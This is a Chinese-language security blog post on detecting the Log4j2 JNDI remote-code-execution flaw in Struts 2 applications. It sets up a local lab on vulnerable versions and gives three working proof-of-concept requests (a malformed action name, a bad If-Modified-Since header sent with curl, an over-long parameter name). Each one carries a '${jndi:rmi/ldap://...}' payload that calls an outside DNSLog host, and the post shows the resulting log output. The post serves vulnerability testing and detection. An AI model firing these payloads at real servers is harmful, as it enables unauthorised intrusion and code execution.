本文最后更新于 2024-10-09,文章内容可能已经过时。

Struts 2 框架下 Log4j2 漏洞检测

一、前言

​ 我们都知道 Apache log4j2-RCE 漏洞是由于 Log4j2 提供的 lookup 功能(查找功能)下的 Jndi Lookup 模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。当出现该漏洞时,许多人的检测方法都是见框就输入检测的 POC 进行尝试。**但其实对于很多使用了 log4j2 的 java 框架可以不必这么盲目试探,可以通过触发对应框架下不同的报错,让框架调用 log4j2 输出含有错误信息的日志来触发漏洞。**Struts 2 也使用了 log4j2 ,那么在 Struts 2 框架下如何进行 Log4j2 漏洞检测呢?

二、基础知识

2.1 log4j2 日志级别

​ 在 org.apache.logging.log4j.spi.StandardLevel 中我们可以看到 log4j2 的日志级别定义,以及输出优先级。这里可以看到一共有八个日志级别,按照优先级从低到高为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。

image-20221223125129820

2.2 Struts 2 中 log4j2 的配置

​ Struts 2 中使用 log4j2.xml 来配置项目中 log4j2 的日志输出级别。下面是一个 Struts 2 官方示例项目中的 log4j2 配置文件。

image-20221223130056048

​ 上面最重要的就是第二项, 因为几乎所有的 Struts 2 框架中的 log4j2 RCE 漏洞,都在 org.apache.struts2 这个路径下去触发不同报错,然后调用对应的日志输出函数,后面我们会说到。具体配置如下:

<Logger name="org.apache.struts2" level="info"/>

​ 又由前面的日志输出优先级,可知 info 优先级排在 debug 前,所以上述配置使得 org.apache.struts2 下必须日志输出级别为 info 及以上的才会去调用 log4j2 去输出日志,才能有机会触发 log4j2 RCE 漏洞。

三、环境搭建

​ 此处使用官方的示例——helloworld 进行实验,也可参照官方文档自己搭建对应的 Struts 2 项目。

struts-examples下载地址:https://github.com/apache/struts-examples

官方环境搭建文档:https://struts.apache.org/getting-started/how-to-create-a-struts2-web-application.html#to-run-the-application-using-maven-add-the-jetty-maven-plugin-to-your-pomxml

​ 当然我们需要修改 pom.xml ,让其使用含有漏洞的 log4j2 版本,这里我是用的是 2.14.1 这个版本。而Struts 2 使用的是 2.5.26。

<dependencies>

    <dependency>
        <groupId>org.apache.struts</groupId>
        <artifactId>struts2-core</artifactId>
        <version>2.5.26</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>

​ 这个示例 log4j2.xml 配置与上面所说的 Struts 2 官方示例项目中的 log4j2 配置文件一致就不展示了。

​ 搭建完成后访问,结果如下:

image-20221223142126214

四、检测方法

​ 以下检测方法都是通过触发对应 Struts 2 框架报错,让框架调用 log4j2 输出含有错误信息的日志来触发漏洞。下面仅展示三种方法,需要注意几乎所有的 Struts2 框架中的 log4j2 代码执行漏洞,都在org.apache.struts2路径下,所以要注意其 log4j2 配置的是info级别、还是warn级别,还是debug级别。若设置的输出日志级别的优先级越低则越容易触发。

4.1 非法Action名触发

POC如下:

http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/9336yl.dnslog.cn/exp%7D/

​ 漏洞触发点在 org.apache.struts2.dispatcher.mapper.DefaultActionMapper 中的 cleanActionNames() 方法,当用户请求的 Action 名不符合 allowedActionNames(其定义如下)时,action名如果不在 [a-zA-Z0-9._!/-] 范围以内,将会触发 LOG.warn() 。warn级别在info之前,所以会交由 log4j2 输出,且输出的信息含有 Action 名从而触发漏洞

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");

image-20221223151843604

​ 输出的报错信息如下:

2022-12-23 14:19:52,395 WARN  [http-nio-8080-exec-1] mapper.DefaultActionMapper (DefaultActionMapper.java:437) - ${jndi:rmi:${::-/}/9336yl.dnslog.cn/exp}/ did not match allowed action names [a-zA-Z0-9._!/\-]* - default action index will be used!

​ 最后查看 DNSLog 查询记录,如下,说明漏洞触发。

image-20221223153333236

​ POC 中使用了 ${::-/} 来代替一个 / ,这是因为在请求路径中会将两个相邻的 / 会被转换为一个 / 。

image-20221223153857263

注意:有些版本 Struts 2 框架中 DefaultActionMapper类没有 cleanupActionName() 方法,会导无法触发。

4.2 访问静态文件带不符合要求的 If-Modified-Since 头

POC:

curl -vv -H "If-Modified-Since: ${jndi:rmi://z5ai05.dnslog.cn/exp}" http://localhost:8080/helloworld_war/struts/utils.js
或
curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/z5ai05.dnslog.cn/exp}" http://localhost:8080/helloworld_war/struts/utils.js

​ 此处 POC 为方便进行检测,使用 curl 命令携带 If-Modified-Since 头来访问静态文件。

​ 在 org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter 中 doFilter() 方法会拦截请求,若请求的路径不在排除的路径内,则会调用 execute.executeStaticResourceRequest() 方法,判断请求的是否是静态文件。

image-20221223161715595

​ 在 ecuteStaticResourceRequest() 方法中,会判断是否请求的是 struts 或 static下的资源,若是则会调用 findStaticResource() 方法进一步处理。

image-20221223162148499

​ 在 findStaticResource() 方法中,会找到对应的资源,而后交由 process() 方法处理。

image-20221223162724692

​ 在 process() 方法中,会尝试取出 If-Modified-Since 头,但是此时字段值为 “${jndi:rmi://z5ai05.dnslog.cn/exp} ” 不是 Date 类型,这无法使用 getDateHeader() 方法取出,就会报错,触发 LOG.warn()。交由 log4j2 输出日志,且输出的信息含有 If-Modified-Since 字段从而触发漏洞。

image-20221223163021662

​ 输出的报错信息如下:

2022-12-23 14:20:30,346 WARN  [http-nio-8080-exec-1] dispatcher.DefaultStaticContentLoader (DefaultStaticContentLoader.java:241) - Invalid If-Modified-Since header value: '${jndi:rmi://z5ai05.dnslog.cn/exp}', ignoring

​ 最后查看 DNSLog 查询记录,如下,说明漏洞触发。

image-20221223161031249

​ 注意:不是是所有版本的struts2 jar包中都存 /struts/utils.js 在这个静态文件,要根据不同版本访问其存在的静态文件。

4.3 请求参数长度超过指定长度

POC:

http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://ctowve.dnslog.cn/exp%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
或
http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:ldap://ctowve.dnslog.cn/%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123

​ (注:若 hello.action 访问出现404,可去除.action,即访问 http://localhost:8080/helloworld_war/hello)

​ 在 com.opensymphony.xwork2.interceptor.ParametersInterceptor 中的 isWithinLengthLimit() 方法里,会判断用户输入的参数名长度是否小于100,若大于100,则会报错。使用 LOG.warn() 方法输出错误日志,触发漏洞。

image-20221223170138376

​ 报错信息如下:

2022-12-23 15:52:41,270 WARN  [http-nio-8080-exec-7] interceptor.ParametersInterceptor (ParametersInterceptor.java:299) - Parameter [${jndi:ldap://ctowve.dnslog.cn/}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa] is too long, allowed length is [100]. Use Interceptor Parameter Overriding to override the limit

​ 最后查看 DNSLog 查询记录,如下,说明漏洞触发。

image-20221223170659713

​ 注意:部分版本的 Struts2 的 isWithinLengthLimit() 方法中,并不是使用 LOG.warn() 方法而是使用 LOG.debug() 此时可能就无法触发,因为 debug 的优先级低于 info,就不会交由 log4j2 输出。

五、参考文章

  1. Apache Log4j2漏洞分析与利用(https://mp.weixin.qq.com/s/P3V_6Qx4OAYn4pOV8i5NEA)。
  2. Struts2框架下Log4j2漏洞检测方法分析与总结(https://blog.csdn.net/m0_71692682/article/details/125217551)。